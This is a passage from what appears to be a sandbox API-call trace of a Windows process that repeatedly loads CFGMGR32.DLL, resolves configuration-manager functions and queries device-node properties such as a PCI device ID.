lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.831] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.832] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.832] malloc (_Size=0x18) returned 0x196ef0d1d60 [0193.832] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0193.832] malloc (_Size=0x48) returned 0x196ef0fc170 [0193.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x54630905, dwHighDateTime=0x1d9eb0c)) [0193.833] SetEvent (hEvent=0x248) returned 1 [0193.837] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.837] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.030] malloc (_Size=0x18) returned 0x196ef0d20e0 [0194.030] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0194.030] malloc (_Size=0x48) returned 0x196ef0fb540 [0194.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x54820892, dwHighDateTime=0x1d9eb0c)) [0194.030] SetEvent (hEvent=0x248) returned 1 [0194.034] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.034] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.037] malloc (_Size=0x18) returned 0x196ef0d19a0 [0194.037] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.037] malloc (_Size=0x48) returned 0x196ef0fbc20 [0194.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54820892, dwHighDateTime=0x1d9eb0c)) [0194.037] SetEvent (hEvent=0x248) returned 1 [0194.045] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.045] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.049] malloc (_Size=0x18) returned 0x196ef0d20c0 [0194.049] CM_Get_Device_IDA (in: dnDevInst=0x2, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&28") returned 0x0 [0194.050] malloc (_Size=0x48) returned 0x196ef0fbd10 [0194.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x54846a86, dwHighDateTime=0x1d9eb0c)) [0194.050] SetEvent (hEvent=0x248) returned 1 [0194.053] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.053] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.056] malloc (_Size=0x18) returned 0x196ef0d1e80 [0194.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0194.057] malloc (_Size=0x124) returned 0x196ef0d6890 [0194.057] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0194.058] free (_Block=0x196ef0d6890) [0194.058] malloc (_Size=0x48) returned 0x196ef0fb360 [0194.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x54846a86, dwHighDateTime=0x1d9eb0c)) [0194.058] SetEvent (hEvent=0x248) returned 1 [0194.064] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0194.064] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0194.064] free (_Block=0x196ef0d1fa0) [0194.064] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0194.065] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0194.065] free (_Block=0x196ef0d1fc0) [0194.065] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0194.065] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0194.065] free (_Block=0x196ef0d1ee0) [0194.065] malloc (_Size=0x18) returned 0x196ef0d1d40 [0194.065] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0194.065] free (_Block=0x196ef0d1d40) [0194.066] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856560 [0194.066] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.066] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0194.066] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0194.066] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6230 [0194.066] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.066] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0194.066] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0194.067] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0194.067] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.068] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.068] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.068] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.069] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6230) returned 1 [0194.070] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856560) returned 1 [0194.070] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.070] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.073] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.075] malloc (_Size=0x18) returned 0x196ef0d1b00 [0194.075] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0194.075] malloc (_Size=0x10e) returned 0x196ef0d6890 [0194.075] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0194.076] free (_Block=0x196ef0d6890) [0194.076] malloc (_Size=0x48) returned 0x196ef0fbb30 [0194.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x548929c1, dwHighDateTime=0x1d9eb0c)) [0194.076] SetEvent (hEvent=0x248) returned 1 [0194.266] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0194.266] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0194.267] free (_Block=0x196ef0d1ee0) [0194.267] malloc (_Size=0x18) returned 0x196ef0d1b60 [0194.267] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.267] free (_Block=0x196ef0d1b60) [0194.267] malloc (_Size=0x18) returned 0x196ef0d1e60 [0194.267] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.267] free (_Block=0x196ef0d1e60) [0194.267] malloc (_Size=0x18) returned 0x196ef0d1c40 [0194.267] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.268] free (_Block=0x196ef0d1c40) [0194.268] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0194.268] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.268] free (_Block=0x196ef0d1bc0) [0194.268] malloc (_Size=0x18) returned 0x196ef0d1b40 [0194.268] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.268] free (_Block=0x196ef0d1b40) [0194.268] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0194.269] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0194.269] free (_Block=0x196ef0d1ae0) [0194.269] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856e60 [0194.269] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0194.269] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0194.269] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0194.269] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63b0 [0194.269] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0194.269] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0194.269] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0194.270] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0194.270] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec58, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec68, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec78, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bec80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.273] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63b0) returned 1 [0194.273] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856e60) returned 1 [0194.274] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.274] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.280] GetProcAddress 